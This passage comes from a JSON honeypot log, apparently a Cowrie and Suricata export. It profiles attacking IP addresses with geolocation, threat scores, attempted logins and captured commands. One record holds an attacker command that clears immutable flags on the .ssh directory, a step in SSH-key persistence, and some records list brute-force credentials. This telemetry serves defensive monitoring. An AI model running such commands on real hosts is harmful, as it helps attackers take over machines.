      "last_seen": "2026-05-02T08:51:48.882Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Hendrik-Ido-Ambacht",
      "asn": 20857,
      "as_org": "Signet B.V.",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:41:34.408000+00:00",
        "last_seen_30d": "2026-05-02T08:53:01.242000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 28
      }
    },
    "105.187.46.73": {
      "attack_count": 24,
      "first_seen": "2026-05-20T20:02:16.245Z",
      "last_seen": "2026-05-21T00:22:19.906Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T20:02:16.245000+00:00",
        "last_seen_30d": "2026-05-21T00:29:20.835000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "108.181.56.117": {
      "attack_count": 24,
      "first_seen": "2026-05-05T01:29:03.039Z",
      "last_seen": "2026-05-10T15:12:56.663Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:29:03.039000+00:00",
        "last_seen_30d": "2026-05-10T15:14:00.131000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "43.108.20.166": {
      "attack_count": 23,
      "first_seen": "2026-05-29T15:27:51.955Z",
      "last_seen": "2026-05-29T15:27:57.711Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T15:27:51.955000+00:00",
        "last_seen_30d": "2026-05-29T15:29:04.299000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "86.110.51.19": {
      "attack_count": 18,
      "first_seen": "2026-05-13T05:39:22.228Z",
      "last_seen": "2026-05-31T23:42:34.633Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 46475,
      "as_org": "Limestone Networks, Inc.",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:39:22.228000+00:00",
        "last_seen_30d": "2026-05-31T23:43:38.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "98.66.233.228": {
      "attack_count": 18,
      "first_seen": "2026-05-05T19:49:42.374Z",
      "last_seen": "2026-05-05T19:54:31.783Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:49:42.374000+00:00",
        "last_seen_30d": "2026-05-05T19:55:52.074000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 13
      }
    },
    "176.65.132.190": {
      "attack_count": 14,
      "first_seen": "2026-05-06T12:55:02.655Z",
      "last_seen": "2026-05-08T14:51:23.181Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "012345",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 7.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:22:13.772000+00:00",
        "last_seen_30d": "2026-05-08T14:52:29.215000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "27.215.127.225": {
      "attack_count": 14,
      "first_seen": "2026-05-03T00:15:11.890Z",
      "last_seen": "2026-05-03T00:16:42.283Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:15:11.890000+00:00",
        "last_seen_30d": "2026-05-03T00:17:45.496000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "103.203.57.19": {
      "attack_count": 12,
      "first_seen": "2026-05-06T02:31:15.717Z",
      "last_seen": "2026-05-30T13:14:17.351Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:31:15.717000+00:00",
        "last_seen_30d": "2026-05-30T13:15:21.388000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "172.105.73.86": {
      "attack_count": 12,
      "first_seen": "2026-05-08T11:53:27.254Z",
      "last_seen": "2026-05-10T00:55:57.831Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:53:27.254000+00:00",
        "last_seen_30d": "2026-05-10T00:56:58.980000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "188.31.187.95": {
      "attack_count": 12,
      "first_seen": "2026-05-22T23:43:02.076Z",
      "last_seen": "2026-05-23T05:12:14.730Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Woking",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:43:02.076000+00:00",
        "last_seen_30d": "2026-05-23T05:13:22.809000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "27.25.65.39": {
      "attack_count": 12,
      "first_seen": "2026-05-23T07:59:36.938Z",
      "last_seen": "2026-05-23T08:30:49.008Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:59:36.938000+00:00",
        "last_seen_30d": "2026-05-23T08:31:52.603000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "128.199.223.50": {
      "attack_count": 10,
      "first_seen": "2026-05-02T15:07:12.768Z",
      "last_seen": "2026-05-02T15:31:57.335Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:07:09.992000+00:00",
        "last_seen_30d": "2026-05-02T15:33:04.720000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 10
      }
    },
    "189.237.102.38": {
      "attack_count": 10,
      "first_seen": "2026-05-24T16:37:28.579Z",
      "last_seen": "2026-05-24T16:40:31.258Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Chihuahua City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T16:37:28.579000+00:00",
        "last_seen_30d": "2026-05-24T16:51:15.426000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "5.68.133.1": {
      "attack_count": 10,
      "first_seen": "2026-05-30T17:45:16.004Z",
      "last_seen": "2026-05-30T17:45:31.631Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Doncaster",
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:45:16.004000+00:00",
        "last_seen_30d": "2026-05-30T17:47:03.418000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "103.159.192.145": {
      "attack_count": 8,
      "first_seen": "2026-05-12T16:35:44.350Z",
      "last_seen": "2026-05-12T16:38:13.905Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137000,
      "as_org": "VIJAYALAKSHMI NET SERVICES PVT LTD",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:35:44.350000+00:00",
        "last_seen_30d": "2026-05-12T16:49:01.801000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "138.197.183.124": {
      "attack_count": 8,
      "first_seen": "2026-05-17T23:52:09.008Z",
      "last_seen": "2026-05-17T23:55:31.707Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 43.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 145575,
        "days_active_30d": 2,
        "ports_targeted_30d": 64818,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-17T23:51:35.478000+00:00",
        "last_seen_30d": "2026-05-18T00:06:00.010000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125381,
        "Honeytrap": 20132,
        "Mailoney": 12,
        "Dionaea": 11,
        "ConPot": 9,
        "Cowrie": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "176.65.132.7": {
      "attack_count": 7,
      "first_seen": "2026-05-11T02:59:59.504Z",
      "last_seen": "2026-05-11T03:00:02.486Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "oracle123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:59:59.504000+00:00",
        "last_seen_30d": "2026-05-11T03:01:06.676000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "20.118.216.53": {
      "attack_count": 7,
      "first_seen": "2026-05-31T13:14:38.318Z",
      "last_seen": "2026-05-31T13:14:48.319Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 22.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 27,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T22:06:38.230000+00:00",
        "last_seen_30d": "2026-05-31T13:15:53.450000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 7,
        "Honeytrap": 4
      }
    },
    "103.86.177.200": {
      "attack_count": 6,
      "first_seen": "2026-05-27T02:41:20.459Z",
      "last_seen": "2026-05-27T02:41:26.709Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 135222,
      "as_org": "MilesWeb Internet Services Pvt Ltd",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T02:41:20.459000+00:00",
        "last_seen_30d": "2026-05-27T02:42:35.969000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "182.34.193.107": {
      "attack_count": 6,
      "first_seen": "2026-05-23T11:35:01.351Z",
      "last_seen": "2026-05-26T16:13:09.449Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:35:01.351000+00:00",
        "last_seen_30d": "2026-05-26T16:14:18.300000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "201.238.35.9": {
      "attack_count": 6,
      "first_seen": "2026-05-19T21:08:15.431Z",
      "last_seen": "2026-05-21T09:31:30.293Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:08:15.431000+00:00",
        "last_seen_30d": "2026-05-21T09:32:38.515000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "91.245.159.185": {
      "attack_count": 6,
      "first_seen": "2026-05-28T05:09:10.031Z",
      "last_seen": "2026-05-28T05:12:52.551Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 47914,
      "as_org": "OOO Creative Direct Marketing Solutions",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:09:10.031000+00:00",
        "last_seen_30d": "2026-05-28T05:13:58.478000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "134.122.126.112": {
      "attack_count": 4,
      "first_seen": "2026-05-12T22:35:34.430Z",
      "last_seen": "2026-05-12T22:35:35.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:35:34.430000+00:00",
        "last_seen_30d": "2026-05-12T22:36:42.412000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "170.84.27.182": {
      "attack_count": 4,
      "first_seen": "2026-05-21T18:24:17.239Z",
      "last_seen": "2026-05-21T18:26:18.002Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "\u00c1guas Lindas de Goi\u00e1s",
      "asn": 265029,
      "as_org": "GUTIERY E MARTINS LTDA",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T18:24:17.239000+00:00",
        "last_seen_30d": "2026-05-21T18:27:26.325000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "211.72.113.187": {
      "attack_count": 4,
      "first_seen": "2026-05-04T08:43:18.588Z",
      "last_seen": "2026-05-26T07:47:01.031Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "South",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 32.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T08:43:18.588000+00:00",
        "last_seen_30d": "2026-05-26T07:48:08.232000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "213.91.178.109": {
      "attack_count": 4,
      "first_seen": "2026-05-13T05:44:29.957Z",
      "last_seen": "2026-05-13T15:02:08.564Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Burgas",
      "asn": 8866,
      "as_org": "Vivacom Bulgaria EAD",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:44:29.957000+00:00",
        "last_seen_30d": "2026-05-13T15:03:15.342000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
